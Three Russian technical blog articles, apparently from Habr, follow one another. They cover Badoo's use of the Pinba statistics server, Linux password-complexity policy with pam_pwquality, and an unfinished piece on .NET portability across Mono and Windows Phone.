Общение с коллегами из других компаний показало две вещи: во-первых, достаточно много людей используют Pinba, а во-вторых, часть из них не знают или не используют все возможности этого инструмента, а некоторые не до конца понимают его предназначение. Поэтому я постараюсь рассказать о тех нюансах, которые явно не указаны в документации, о новых возможностях и наиболее интересных кейсах применения Pinba в Badoo. Поехали!
### Небольшое введение
В документации сказано, что «Pinba – это сервер статистики, использующий MySQL в качестве интерфейса...» Обратите внимание на понятие «интерфейс», использующееся не в значении хранилища данных, а именно в значении интерфейса. В первых версиях Pinba, автором которой был ещё Андрей Нигматулин, не было никакого MySQL-интерфейса, и для получения данных необходимо было использовать отдельный протокол. Что, естественно, неудобно.
Позднее Антон Довгаль [tony2001](https://habrahabr.ru/users/tony2001/) добавил этот функционал, чем значительно облегчил процесс получения данных. Стало возможным не писать никакие скрипты, достаточно любым MySQL-клиентом присоединиться к базе и простыми SQL-запросами получить всю информацию. Но при этом внутри себя Pinba хранит данные в своём внутреннем формате, и MySQL-движок используется только для отображения. Что это значит? А значит это то, что на самом деле никаких реальных таблиц не существует. «Ложки нет». Вы даже можете спокойно удалить одну из так называемых таблиц с «сырыми» данными, например, requests – и после этого все ваши отчёты по-прежнему будут работать.
Ведь сами данные никуда не исчезнут. Вы просто не сможете обращаться к этой таблице в SQL-запросах. Именно поэтому основной причиной использования именно отчётов (а не «сырых» таблиц) является то, что при сложных запросах (несколько JOIN и т. п.) Pinba должна «на лету» отфильтровать и сгруппировать все данные.
Я понимаю, что, зная SQL, можно легко из таблиц с «сырыми» данными получить все выборки, но это путь к тёмной стороне силы. Этот способ крайне ресурсозатратен. Конечно, все запросы будут работать, и зачастую, когда нужно срочно что-нибудь отдебажить, можно залезть в таблицу requests или tags. Но очень не рекомендую делать это без надобности только потому, что так проще и быстрее. Вся сила Pinba – в отчётах.
Создавать отчёты достаточно просто, но и тут существуют некоторые тонкости. Как я уже сказал, никаких таблиц не существует, и когда вы создаёте отчёт, то есть выполняете запрос `CREATE TABLE`, вы лишь сообщаете сервису о том, какие агрегации вам будут нужны. И пока не будет сделан первый запрос в эту «таблицу», никакие агрегации не будут собираться. Тут есть один важный нюанс: если вы начали собирать какие-то данные, а потом они уже не нужны, то «таблицу» с отчётом лучше удалить. Pinba не мониторит, перестали вы пользоваться отчётом или нет: один раз запросили данные – они будут собираться всегда.
Ещё один момент, который нужно учитывать при создании отчётов: для каждого типа отчёта есть свой набор полей. При отображении в MySQL Pinba ориентируется на порядок полей, а не на их названия, поэтому нельзя просто взять и поменять местами поля или не указать часть полей:
```
CREATE TABLE `tag_report_perf` (
`script_name` varchar(128) NOT NULL DEFAULT '',
`tag_value` varchar(64) DEFAULT NULL,
`req_count` int(11) DEFAULT NULL,
`req_per_sec` float DEFAULT NULL,
`hit_count` int(11) DEFAULT NULL,
`hit_per_sec` float DEFAULT NULL,
`timer_value` float DEFAULT NULL,
`timer_median` float DEFAULT NULL,
`ru_utime_value` float DEFAULT NULL,
`ru_stime_value` float DEFAULT NULL,
`index_value` varchar(256) DEFAULT NULL,
`p75` float DEFAULT NULL,
`p95` float DEFAULT NULL,
`p99` float DEFAULT NULL,
`p100` float DEFAULT NULL,
KEY `script_name` (`script_name`)
) ENGINE=PINBA DEFAULT CHARSET=latin1
COMMENT='tag_report:perf::75,95,99,100'
```
В этом примере мы создаём отчёт типа `tag_report`; значит, первое поле всегда будет содержать название скрипта, за ним будет идти значение тега `perf`, затем – полный набор всех полей и в конце – нужные нам перцентили. Это тот случай, когда не надо фантазировать, а следует просто взять структуру таблицы из документации и скопировать её. Естественно, поля с названием тегов можно и даже нужно назвать более понятно, чем `tag1_value, tag2_value`, и порядок тегов и перцентилей в таблице должен совпадать с их порядком в описании.
### Агрегации по тегам запроса (request’s tags)
Как вы знаете, у Pinba есть несколько типов отчётов, и относительно недавно (полтора года назад) мы добавили ещё отчёты по тегам запроса. До этого по тегам запроса (не путайте с тегами таймеров, это разные вещи) можно было только фильтровать, но никаких агрегаций не было.
Зачем нам потребовалась такой функционал? Один из основных типов контента в Badoo – фотографии. Нашим сервисом пользуются более 350 миллионов пользователей, у большинства из которых есть фотографии. Для отдачи фотографий у нас есть два типа машин: так называемые фотокеши – машины с «быстрыми» дисками, на которых лежат только активно запрашиваемые изображения, и основные “стороджи” — машины, где хранятся все фотографии.
Подробнее о системе хранения фотографий [рассказывал](https://www.youtube.com/watch?v=SU9ETg39FEg) на последнем HighLoad++ Артём Денисов. Если мы откажемся от кеширования и пустим весь трафик на «медленные» фотохранилища, то в лучшем случае сущеcтвенно увеличится время отдачи фото, в худшем – мы вообще не сможем с некоторых машин отдавать контент, и запросы будут отваливаться по тайм-ауту. Сейчас хитрейт у нас порядка 98%.
Казалось бы, всё очень хорошо, но падение хитрейта, скажем, до 96% сразу увеличивает нагрузку на кластер фотохранилища в два раза. Поэтому нам очень важно следить за хитрейтом и не допускать значительных падений. И мы решили делать это с помощью Pinba. Поскольку на машинах с фотокешами не используется PHP (весь контент отдаётся через веб-сервер), мы используем [плагин Pinba к nginx](https://github.com/tony2001/ngx_http_pinba_module).
Но вот незадача – внутри nginx мы не можем использовать таймеры и агрегацию по тегам таймера, но активно можем проставлять теги на сам запрос. Причём нам очень хотелось сделать разбивку по размеру изображений, по типу приложения и по ещё нескольким параметрам. У запроса может быть несколько тегов, и по всем нам нужно агрегировать. Для этой цели были созданы следующие типы отчётов:
* `rtag_info` – агрегация по одному тегу,
* `rtagN_info` – агрегкация по нескольким тегам,
* `rtag_report` – агрегация по одному тегу и хосту,
* `rtagN_report` – агрегация по нескольким тегам и хосту.
Вот примеры отчётов:
```
CREATE TABLE `photoscache_report_hitrate` (
`hostname` varchar(64) NOT NULL DEFAULT '',
`tag1_value` varchar(64) DEFAULT NULL,
`tag2_value` varchar(64) DEFAULT NULL,
`tag3_value` varchar(64) DEFAULT NULL,
`req_count` int(11) DEFAULT NULL,
`req_per_sec` float DEFAULT NULL,
`req_time_total` float DEFAULT NULL,
`req_time_percent` float DEFAULT NULL,
`req_time_per_sec` float DEFAULT NULL,
`ru_utime_total` float DEFAULT NULL,
`ru_utime_percent` float DEFAULT NULL,
`ru_utime_per_sec` float DEFAULT NULL,
`ru_stime_total` float DEFAULT NULL,
`ru_stime_percent` float DEFAULT NULL,
`ru_stime_per_sec` float DEFAULT NULL,
`traffic_total` float DEFAULT NULL,
`traffic_percent` float DEFAULT NULL,
`traffic_per_sec` float DEFAULT NULL,
`memory_footprint_total` float DEFAULT NULL,
`memory_footprint_percent` float DEFAULT NULL,
`req_time_median` float DEFAULT NULL,
`index_value` varchar(256) DEFAULT NULL,
KEY `hostname` (`hostname`)
) ENGINE=PINBA DEFAULT CHARSET=latin1 COMMENT='rtagN_report:served_by,build,img_size'
CREATE TABLE `photoscache_top_size` (
`geo` varchar(64) DEFAULT NULL,
`req_count` int(11) DEFAULT NULL,
`req_per_sec` float DEFAULT NULL,
`req_time_total` float DEFAULT NULL,
`req_time_percent` float DEFAULT NULL,
`req_time_per_sec` float DEFAULT NULL,
`ru_utime_total` float DEFAULT NULL,
`ru_utime_percent` float DEFAULT NULL,
`ru_utime_per_sec` float DEFAULT NULL,
`ru_stime_total` float DEFAULT NULL,
`ru_stime_percent` float DEFAULT NULL,
`ru_stime_per_sec` float DEFAULT NULL,
`traffic_total` float DEFAULT NULL,
`traffic_percent` float DEFAULT NULL,
`traffic_per_sec` float DEFAULT NULL,
`memory_footprint_total` float DEFAULT NULL,
`memory_footprint_percent` float DEFAULT NULL,
`req_time_median` float DEFAULT NULL,
`index_value` varchar(256) DEFAULT NULL,
`p95` float DEFAULT NULL,
`p99` float DEFAULT NULL
) ENGINE=PINBA DEFAULT CHARSET=latin1 COMMENT='rtag_info:geo:tag.img_size=top:95,99'
```
(да в последнем отчёте мы агрегируем по тегу `geo` и фильтруем по тегу `img_size`).
В конфигурационных файлах nginx устанавливаем нужные теги:
```
location ~ '.....' {
...
pinba_tag fit_size '500x500';
pinba_tag is_fit 1;
pinba_tag img_size '920';
…
```
– и в итоге можем получить вот такие графики хитрейта:
Мы плавно перешли к примерам использования. Я не буду заострять внимание на достаточно тривиальных примерах – просто перечислю некоторые основные вещи, которые мы мониторим с помощью Pinba:
* количество и время запросов на PHP-кластеры;
* потребление памяти PHP-скриптами;
* время запроса ко всем внешним сервисам (демоны на C, Go, Memcached, MySQL и т. п.);
* с помощью nginx-плагина мониторим количество запросов в секунду и время каждого запроса к nginx с разбиением по статус ответа;
* и другие.
### Мониторинг очередей
Практически в каждом более-менее серьёзном проекте рано или поздно возникает задача обработки очереди событий. Определённые действия пользователя на сайте инициируют отправку события, на которое может быть подписано несколько обработчиков, и для каждого из них есть своя очередь. У нас этот процесс разделён на три части:
* транспорт – события со всех хостов собираются и отправляются на машину, где работает скрипт-клонировщик, который клонирует события в очередь для каждого подписчика;
* очередь: событие лежит в очереди (мы для очередей используем как MySQL, так и другие брокеры, например, Darner);
* процессинг: событие дошло до подписчика и начинает обрабатываться.
В какой-то момент нам захотелось измерить, сколько времени проходит с момента генерации события до его обработки. Проблема в том, что это уже не какой-то один PHP-скрипт, а несколько различных скриптов (в общем случае даже не PHP): в одном событие бросается, в другом – происходит отправка события в очередь обработчику, наконец, сам скрипт-обработчик, который получает событие из очереди. Как же быть? На самом деле, всё очень просто. В момент генерации события мы фиксируем время и записываем его в данные события и далее на каждом этапе запоминаем разницу между временем отправки и текущим временем. В итоге в самом конце, когда событие обработано, у нас есть все нужные значения таймеров, которые мы отправляем в Pinba. В результате мы можем сделать вот такой отчёт:
```
CREATE TABLE `tag_info_measure_cpq_consumer` (
`type` varchar(64) DEFAULT NULL,
`consumer` varchar(64) DEFAULT NULL,
`timer` varchar(64) DEFAULT NULL,
....
) ENGINE=PINBA DEFAULT CHARSET=latin1 COMMENT='tagN_info:type,consumer,timer'
```
где `timer` – это название таймера для определённого этапа обработки события, `consumer` – название подписчика, `type` – в нашем случае это тип отправки события (внутри одной площадки или межплощадочный (у нас две площадки с одинаковой инфраструктурой – в Европе и в США, и события могут отправляться с площадки на площадку).
С помощью этого отчёта мы получили вот такие графики:
В этом примере рассматривается событие обновления данных о координатах пользователя. Как видно, весь процесс занимает меньше пяти секунд. Это значит, что, когда вы пришли в любимый бар, открыли приложение Badoo и попробовали найти пользователей рядом, вам действительно покажут тех, кто сейчас находится в этом месте, а не в том, где вы были полчаса назад (естественно, если ваше мобильное устройство отправляет данные о вашем местоположении).
Такой принцип (собрать все таймеры, а потом отправить их в Pinba) используется в Jinba. Jinba – это наш проект для измерения производительности клиентской части, в основе которого лежит Pinba; расшифровывается как JavaScript is not a bottleneck anymore. Подробнее о Jinba можно узнать [из доклада Павла Довбуша](https://tech.badoo.com/presentation/123/realtime-statistika-skorosti-prilogenij/) и [на сайте проекта](https://github.com/dpp-name/jinba).
Мы собираем все таймеры на клиенте и потом одним запросом отправляем их на PHP-скрипт, который уже отсылает всё в Pinba. Помимо стандартных типов отчётов, в Jinba мы активно используем гистограммы. Я не буду подробно рассказывать про них – скажу только, что благодаря функционалу гистограмм мы имеем возможность в отчётах указывать перцентили.
По умолчанию Pinba делит весь временной интервал, в который попадали запросы, на 512 сегментов, и в гистограмме мы сохраняем количество запросов, попавших в тот или иной сегмент. Я уже говорил, что мы измеряем время работы PHP-скриптов, время ответа nginx, время обращения к внешним сервисам и т. п. Но какое время мы измеряем? Например, в секунду было 1000 запросов на какой-то скрипт, соответственно, мы имеем 1000 различных значений. Какое из них нужно отобразить на графике? Большинство скажут: «Среднее арифметическое», – кто-то скажет, что нужно смотреть, сколько выполняются самые медленные запросы. Оставим этот вопрос за рамками этого поста. Для тех, кто не знает, что такое перцентиль, приведу простейший пример: 50-й перцентиль (или медиана) – это такое значение, когда 50% запросов выполняются за время, не превышающее данное значение.
Мы всегда измеряем среднее арифметическое и старшие перцентили: 95-й, 99-й и даже 100-й (самое высокое время выполнения запроса). Почему нам так важны старшие перцентили? Вот пример графика с ответами одного из наших внешних сервисов:
Из рисунка видно, что и среднее арифметическое, и медиана (50-й перцентиль) примерно в два раза меньше, чем 95-й перцентиль. То есть, когда вы будете делать отчёт для руководства или выступать на конференции, то выгодно будет показать именно это время запроса, но если хочется сделать пользователей счастливее, то правильнее будет обратить внимание на 5% медленных запросов. Бывают случаи, когда значение 95-го перцентиля почти на порядок превышает среднее, а это значит, что где-то есть проблема, которую нужно найти и устранить.
### MySQL is not a bottleneck anymore
Поскольку мы мониторим запросы ко всем внешним сервисам, то, естественно, мы не можем обойти стороной запросы к базе данных. Мы в Badoo используем MySQL. Когда у нас возникла задача её мониторинга, сначала мы решили использовать Slowlog + Zabbix. Но это оказалось очень неудобно. Slowlog может быть очень большой, и зачастую найти в нём причину возникшей проблемы довольно сложно, особенно когда это нужно сделать быстро. Поэтому мы стали рассматривать коммерческие решения.
На первый взгляд, всё было прекрасно, но смущало то, что триальная версия работала только на ограниченном количестве серверов (на порядок меньшем, чем у нас на одной площадке), и был риск, что на всём кластере решение может на заработать.
Одновременно с тестированием коммерческого решения наши DBA (кстати, у нас их всего два: основной и резервный, или мастер и слейв) сделали собственную разработку. Они использовали `performance_schema`, скрипты на Python, всё это отправляли в Elastic, а для отчётов использовали Kibana. И, как ни странно, всё работало, но, чтобы сделать мониторинг всего нашего кластера MySQL, потребовался бы сравнимый по мощности кластер Elasticsearch.
К сожалению, даже в Badoo нельзя по щелчку пальцев получить сотню лишних машин для кластера. И тут мы вспомнили про Pinba. Но возник следующий нюанс: как в Pinba сохранять информацию об SQL-запросе? Более того, нужно сохранять информацию не о конкретном запросе, а о «шаблоне» запроса, то есть, если у вас есть 1000 запросов вида `Select * from table where field = field_value`, и в каждом из них значение поля field\_value разное, то нужно в Pinba сохранять данные о шаблоне `Select * from table where field = #placeholder#`. Для этого мы провели рефакторинг всего кода и везде, где в SQL прямо в коде подставлялись значения полей, мы проставили плейсхолдеры. Но всё равно шаблон запроса может быть слишком большой, поэтому от каждого шаблона мы берём хеш и именно его значение идёт в Pinba. Соответственно, в отдельной таблице мы храним связки «хеш – текст шаблона». В Pinba был создан вот такой отчёт:
```
CREATE TABLE `minba_query_details` (
`tag_value` varchar(64) DEFAULT NULL,
...
`p95` float DEFAULT NULL,
`p99` float DEFAULT NULL
) ENGINE=PINBA DEFAULT CHARSET=latin1
COMMENT='tag_info:query::95,99'
```
В PHP-коде мы формируем для каждого запроса такой массив тегов:
```
$tags = [
‘query’ => $query_hash,
‘dest_host’ => ‘dbs1.mlan’,
‘src_host’ => ‘www1.mlan’,
‘dest_cluster’ => ‘dbs.mlan’,
‘sql_op’ => ‘select’,
‘script_name’ => ‘demoScript.php’,
];
```
Естественно, в коде должно быть одно место, где выполняется запрос к БД, некий класс-обёртка; напрямую вызывать методы `mysql_query` или `mysqli_query`, конечно, нельзя.
В том месте, где выполняется запрос, мы считаем время запроса и отправляем данные в Pinba.
```
$config = [‘host’ => ‘pinbamysql.mlan’, ‘pinba_port’ => 30002];
$PinbaClient = new \PinbaClient($config);
$timer_value = /*Execute query and get execution time */
$PinbaClient→addTimer($tags, $timer_value);
/* Some logic */
$PinbaClient->send();
```
Обратите внимание на использование класса `\PinbaClient`. Если вы собрали PHP с поддержкой Pinba, то у вас будет этот класс «из коробки» (если используется не PHP, то для других языков есть свои аналоги этого класса). Понятно, что запросов к БД будет очень много, и писать в тот же сервер Pinba, куда собирается статистика по скриптам, не получится. Хомячка разорвет. В настройках `php.ini` можно указать только один хост Pinba, куда будут отправляться данные по завершении работы скрипта. И тут нам на помощь и приходит класс `\PinbaClient`. Он позволяет указать произвольный хост с Pinba и отправлять туда значения таймеров. Кстати, для мониторинга очередей у нас тоже используется отдельный сервер Pinba. Поскольку данные в Pinba хранятся ограниченное количество времени, то и в таблице со связкой «хеш – SQL-шаблон» хранятся лишь актуальные хеши.
Запросов действительно много, поэтому мы решили отправлять в Pinba каждый второй. Это примерно сто пятьдесят тысяч запросов в секунду. И всё работает. В любой момент мы можем посмотреть, какие запросы на каких хостах тормозят, какие запросы появились, каких запросов выполняется очень много. И эти отчёты доступны каждому сотруднику.
Ещё один нетривиальный кейс использования Pinba – мониторинг хитрейта мемкеша. На каждой площадке у нас есть кластер машин с Memcached, и необходимо было понять, эффективно ли мы используем мемкеш. Проблема в том, что у нас очень много различных ключей, и объём данных для каждого из них варьируется от нескольких байт до сотен килобайт. Мемкеш разбивает всю предоставленную ему память на страницы, которые затем распределяются по слабам (slabs). Слаб – это фиксированный объём памяти, выделяемый под один ключ. Например, третий слаб имеет размер 152 байта, а четвёртый – 192 байта. Это значит, что все ключи с данными от 152 до 192 байт будут лежать в четвёртом слабе. Под каждый слаб выделяется определённое количество страниц, каждая делится на кусочки (chunks), равные размеру слаба. Соответственно, может возникнуть ситуация, когда некоторым слабам выделяется больше страниц, чем нужно, и хитрейт по этим ключам достаточно высокий, а по другим ключам хитрейт может быть очень низкий, при этом у мемкеша достаточно свободной памяти. Чтобы этого не произошло, нужно перераспределять страницы между слабами. Соответственно, нам нужно знать хитрейт каждого ключа в данный момент времени, и для этого мы тоже используем Pinba.
В данном случае мы поступили аналогично мониторингу запросов к MySQL – сделали рефакторинг и привели все ключи к виду `“key_family”:%s_%s`, то есть выделили неизменяемую часть (семейство ключа) и отделили её двоеточием от изменяемых частей, например, `messages_cnt:13589` (количество сообщений у пользователя с идентификатором 13589) или `personal_messages_cnt:13589_4569` (количество сообщений от пользователя 13589 пользователю 4569).
В том месте, где происходит чтение данных по ключу, мы формируем следующий массив тегов:
```
$tags = [
‘key’ =>’uc’,
‘cluster’ => ‘wwwbma’,
‘hit’ => 1,
‘mchost’ => ‘memcache1.mlan’,
‘cmd’ => ‘get’,
];
```
где `key` – семейство ключа, `cluster` – кластер машин, с которого идёт запрос в мемкеш, `hit` – есть данные в кеше или нет, `mchost` – хост с мемкешем, `cmd` – команда, отправляемая в мемкеш.
А в Pinba создан вот такой отчёт:
```
tag_info_key_hit_mchost | CREATE TABLE `tag_info_key_hit_mchost` (
`key` varchar(190) DEFAULT NULL,
`hit` tinyint(1) DEFAULT NULL,
`mchost` varchar(40) DEFAULT NULL,
...
) ENGINE=PINBA DEFAULT CHARSET=latin1
COMMENT='tagN_info:key,hit,mchost',
```
благодаря которому мы смогли построить вот такие графики:
По аналогии с мониторингом MySQL под эти отчёты используется отдельный инстанс Pinba.
Шардинг
C ростом количества пользователей и развитием функционала мы столкнулись с ситуацией, когда на самом высоконагруженном PHP-кластере, куда приходят запросы с мобильных устройств, Pinba перестала справляться. Решение мы нашли очень простое – поднять несколько сервисов Pinba и «раунд робином» отправлять данные в произвольный. Сложность тут одна – как потом собирать данные? При сборе данных мы создали для каждого типа поля своё правило «слияния». Например, количество запросов суммируются, а для значений перцентилей всегда берётся максимальное и т. п.
### Резюме
Во-первых, помните, что Pinba – это не хранилище данных. Pinba вообще не про хранение, а про агрегации, поэтому в большинстве случаев достаточно выбрать нужный тип отчёта, указать набор перцентилей – и вы получите нужную выборку в режиме реального времени.
Во-вторых, не используйте без необходимости таблицы с «сырыми» данными, даже если у вас всё работает и ничего не тормозит.
В-третьих, не бойтесь экспериментировать. Как показывает практика, с помощью Pinba можно решать широкий круг задач.
P. S. В следующий раз я постараюсь рассказать вам о граблях, на которые мы наступали во время работы с Pinba, и о том, какие проблемы могут возникнуть. И на этот раз я не ограничусь примерами из PHP. | https://habr.com/ru/post/331866/ | null | ru | null |
# Создание политики паролей в Linux
И снова здравствуйте! Уже завтра начинаются занятия в новой группе курса [«Администратор Linux»](https://otus.pw/IuQz/), в связи с этим публикуем полезную статью по теме.
В прошлом туториале мы рассказывали, как использовать `pam_cracklib`, чтобы усложнить пароли в системах [Red Hat 6](https://www.putorius.net/forcing-password-complexity-in-red-hat.html) или CentOS. В Red Hat 7 `pam_pwquality` заменила `cracklib` в качестве `pam` модуля по умолчанию для проверки паролей. Модуль `pam_pwquality` также поддерживается в Ubuntu и CentOS, а также во многих других ОС. Этот модуль упрощает создание политик паролей, чтобы удостовериться, что пользователи принимают ваши стандарты сложности паролей.
Долгое время обычным подходом к паролям было заставить пользователя использовать в них символы верхнего и нижнего регистра, цифры или иные символы. Эти базовые правила сложности паролей активно пропагандируются в последние десять лет. Было множество дискуссий о том, является это хорошей практикой или нет. Основным аргументом против установки таких сложных условий было то, что пользователи записывают пароли на бумажках и небезопасно хранят.
Другая политика, которая недавно была поставлена под сомнение, заставляет пользователей менять свои пароли каждые x дней. Были проведены некоторые исследования, которые показали, что это также наносит ущерб безопасности.
На тему этих дискуссий было написано множество статей, которые обосновывали ту или другую точку зрения. Но это не то, что мы будем обсуждать в этой статье. Эта статья расскажет о том, как корректно задать сложность пароля, а не управлять политикой безопасности.
**Параметры политики паролей**
Ниже вы увидите параметры политики паролей и краткое описание каждого из них. Многие из них схожи с параметрами в модуле `cracklib`. Такой подход упрощает портирование ваших политик из старой системы.
* **difok** – Количество символов в вашем новом пароле, кототрые НЕ должны присутствовать в вашем старом пароле. (По умолчанию 5)
* **minlen** – Минимальная длина пароля. (По умолчанию 9)
* **ucredit** – Максимальное количество кредитов за использование символов верхнего регистра (если параметр > 0), или минимальное требуемое число символов верхнего регистра (если параметр < 0). По умолчанию 1.
* **lcredit** — Максимальное количество кредитов за использование символов нижнего регистра (если параметр > 0), или минимальное требуемое число символов нижнего регистра (если параметр < 0). По умолчанию 1.
* **dcredit** — Максимальное количество кредитов за использование цифр (если параметр > 0), или минимальное требуемое число цифр (если параметр < 0). По умолчанию 1.
* **ocredit** — Максимальное количество кредитов за использование иных символов (если параметр > 0), или минимальное требуемое количество иных символов (если параметр < 0). По умолчанию 1.
* **minclass** – Устанавливает количество требуемых классов. Классы включают в себя вышеперечисленные параметры (символы верхнего регистра, нижнего регистра, цифры, иные символы). По умолчанию 0.
* **maxrepeat** – Максимальное число повторений символа в пароле. По умолчанию 0.
* **maxclassrepeat** — Максимальное количество последовательных символов в одном классе. По умолчанию 0.
* **gecoscheck** – Проверяет, содержит ли пароле какие-либо слова из строк GECOS пользователя. ( Информация о пользователе, т.е. настоящее имя, местоположение и т.д.) По умолчанию 0 (выключено).
* **dictpath** – Пусть к словарям cracklib.
* **badwords** – Разделенные пробелом слова, которые запрещены в паролях (Название компании, слово «пароль» и т. д. ).
Если понятие кредитов звучит странно, ничего страшного, это нормально. Мы поговорим об этом подробнее в следующих разделах.
**Конфигурация политики паролей**
Перед тем, как начинать редактировать файлы конфигурации, хорошей практикой считается заранее записать базовую политику паролей. Например, мы будем использовать следующие правила сложности:
* Пароль должен иметь минимальную длину 15 символов.
* В пароле один и тот же символ не должен повторяться более двух раз.
* В пароле классы символов могут повторяться до четырех раз.
* Пароль должен содержать символы из каждого класса.
* Новый пароль должен иметь 5 новых символов по сравнению со старым.
* Включить проверку GECOS.
* Запретить слова «password, pass, word, putorius»
Теперь, как только мы изложили политику, мы можем отредактировать файл `/etc/security/pwquality.conf`, чтобы усилить требования к сложности пароля. Ниже приведен пример файла с комментариями для лучшего понимания.
```
# Make sure 5 characters in new password are new compared to old password
difok = 5
# Set the minimum length acceptable for new passwords
minlen = 15
# Require at least 2 digits
dcredit = -2
# Require at least 2 upper case letters
ucredit = -2
# Require at least 2 lower case letters
lcredit = -2
# Require at least 2 special characters (non-alphanumeric)
ocredit = -2
# Require a character from every class (upper, lower, digit, other)
minclass = 4
# Only allow each character to be repeated twice, avoid things like LLL
maxrepeat = 2
# Only allow a class to be repeated 4 times
maxclassrepeat = 4
# Check user information (Real name, etc) to ensure it is not used in password
gecoscheck = 1
# Leave default dictionary path
dictpath =
# Forbid the following words in passwords
badwords = password pass word putorius
```
Как вы могли заметить, некоторые параметры в нашем файле избыточны. Например, параметр `minclass` избыточен, поскольку мы уже задействуем как минимум два символа из класса, используя поля `[u,l,d,o]credit`. Наш список слов, которые нельзя использовать также избыточен, поскольку мы запретили повторение какого-либо класса 4 раза (все слова в нашем списке написаны символами нижнего регистра). Я включил эти параметры только, чтобы продемонстрировать, как использовать их для настройки политики паролей.
Как только вы создали свою политику, вы можете принудить пользователей сменить свои пароли при следующем их входе в [систему](https://www.putorius.net/force-user-to-change-password-upon.html).
Еще одна странная вещь, которую вы, возможно, заметили, заключается в том, что поля `[u,l,d,o]credit` содержат отрицательное число. Это потому что числа больше или равные 0 дадут кредит на использование символа в вашем пароле. Если поле содержит отрицательное число, это значит, что требуется определенное количество.
**Что такое кредиты (credit)?**
Я называю их кредитами, поскольку это максимально точно передает их назначение. Если значение параметра больше 0, вы прибавляете количество «кредитов на символы» равное «х» к длине пароля. Например, если все параметры `(u,l,d,o)credit` установить в 1, а требуемая длина пароля была 6, то вам понадобится 6 символов для удовлетворения требования длины, потому что каждый символ верхнего регистра, нижнего регистра, цифра или иной символ дадут вам один кредит.
Если вы установите `dcredit` в 2, вы теоретически сможете использовать пароль длиной в 9 символов и получить 2 кредита на символы для цифр и тогда длина пароля уже может быть 10.
Посмотрите на этот пример. Я установил длину пароля 13, установил dcredit в 2, а все остальное в 0.
```
$ pwscore
Thisistwelve
Password quality check failed:
The password is shorter than 13 characters
$ pwscore
Th1sistwelve
18
```
Моя первая проверка провалилась, поскольку длина пароля была меньше 13 символов. В следующий раз я изменил букву “I” на цифру “1” и получил два кредита за цифры, что приравняло пароль к 13.
**Тестирование пароля**
Пакет `libpwquality` обеспечивает функционал, описанный в статье. Также с ним поставляется программа `pwscore`, которая предназначена для проверки пароля на сложность. Мы использовали ее выше, для проверки кредитов.
Утилита `pwscore` читает из [stdin](https://www.putorius.net/linux-io-file-descriptors-and-redirection.html). Просто запустите утилиту и напишите свой пароль, она выдаст ошибку или значение от 0 до 100.
Показатель качества пароля соотносится с параметром `minlen` в файле конфигурации. В целом показатель меньше 50 рассматривается как «нормальный пароль», а выше – как «сильный пароль». Любой пароль, который проходит проверки на качество (особенно принудительную проверку `cracklib`) должен выдержать атаки словаря, а пароль с показателем выше 50 с настройкой `minlen` по умолчанию даже `brute force` атаки.
**Заключение**
Настройка `pwquality` – это легко и просто по сравнению с неудобствами при использовании `cracklib` с прямым редактированием файлов `pam`. В этом руководстве мы рассмотрели все, что вам понадобится при настройке политик паролей в Red Hat 7, CentOS 7 и даже систем Ubuntu. Также мы поговорили о концепции кредитов, о которых редко пишут подробно, поэтому эта тема часто оставалась непонятной тем, кто с ней ранее не сталкивался.
**Источники:**
[pwquality man page](https://linux.die.net/man/5/pwquality.conf)
[pam\_pwquality man page](https://linux.die.net/man/8/pam_pwquality)
[pwscore man page](https://linux.die.net/man/1/pwscore)
**Полезные ссылки:**
[Choosing Secure Passwords – Bruce Schneier](https://www.schneier.com/blog/archives/2014/03/choosing_secure_1.html)
[Lorrie Faith Cranor discusses her password studies at CMU](https://www.ted.com/talks/lorrie_faith_cranor_what_s_wrong_with_your_pa_w0rd#t-55282)
[The Infamous xkcd cartoon on Entropy](https://xkcd.com/936/) | https://habr.com/ru/post/448996/ | null | ru | null |
# Сетевая недокроссплатформенность
[](http://habrahabr.ru/company/pt/blog/146342/)
Здравствуйте! В этой статье я хотел бы поделиться своим опытом с начинающими разработчиками, которые учатся писать мобильные приложения, но еще не очень далеко продвинулись на этом поприще. Если быть точным — я бы хотел рассказать, как писать переносимый код и проектировать приложения, которые будут работать как на «родных» .NET-платформах (Windows Phone 7 и настольные приложения Windows), так и на портированных версиях .NET для мобильных платформ, таких как Monotouch и Monodroid.
#### Немного о Mono и Portable Class Library
Для того чтобы в деталях разобраться, как правильно писать переносимый код, сначала необходимо понять — как работает .NET на iOS и Android. Тема эта очень большая, поэтому, как говорит Владимир Владимирович, буду краток.
##### Monotouch
Mono на iOS работает следующим образом: никакого JIT-компилятора и никакого .NET на самой iOS. Весь код, абсолютно весь, в том числе и вся реализация .NET, — компилируется в нативный байт-код и «тянется» с дистрибутивом приложения.
Отсюда вытекают следующие «плюсы, минусы и подводные грабли». Плюс — быстродействие (нативный код по определению быстрее). Минус № 1: объем дистрибутива приложения — минимум 6 Мбайт. Минус № 2: портирован, к сожалению, только профиль Silverlight 4, и то не полностью.
Главная неожиданность: никаких генериков и никакой рефлексии. И следовательно — никаких игр с коллекциями, кастомными прокси-классами для WCF, биндингом данных а-ля WPF.
##### Monodroid
О .NET на Android нужно сказать следующее: на первый взгляд тут не все так печально: и JIT имеется, и генерики. Однако… Генерики — неполноценные (классы-параметры должны наследоваться от Java.Lang.Object), да и JIT — не совсем JIT. Тут тоже можно выделить тему для отдельной статьи, если Хабрасообществу будет интересна эта тема.
##### Portable Class Library и Windows Phone 7
Самыми широкими возможностями по использованию C# обладает, разумеется, мобильная платформа от Microsoft. Специально для нее была разработана версия Silverlight. Однако сборки, которые были скомпилированы для Windows Phone — не будут работать на десктопном приложении. Это понятно, хотя и очень неудобно: целевые платформы все-таки разные.
Для адекватной поддержки переносимости кода между Windows Phone и полноценным .NET был реализован профиль Portable Class Library (PCL) — набор базовых классов, которые присутствуют на всех платформах, поддерживающих официальную версию .NET — Windows, Metro, Windows Phone, Silverlight и Xbox.
##### Нюанс
При разработке под Mono\* вы можете прямо ссылаться на сборки, которые были скомпилированы для полноценных версий .NET до 3.5. И если ваша сборка использует только классы из поддерживаемых пространств имен — все отлично сработает. Если же вы попытаетесь обратиться к нереализованному классу, то просто получите исключение NotImplementedException; такова белая магия компилятора Monotouch.
Впрочем, проект для Windows Phone 7 просто не позволит добавить ссылку на подобную сбору (что вполне логично). «А как же Portable Class Library?..» — спросите вы. Вот тут как раз и начинается черная магия: при попытке использовать в проектах Mono\* сборки, скомпилированные под PCL или WP7, вы получите сообщение об ошибке: невозможно загрузить сборку, ссылающуюся на библиотеки для WP7 или PCL.
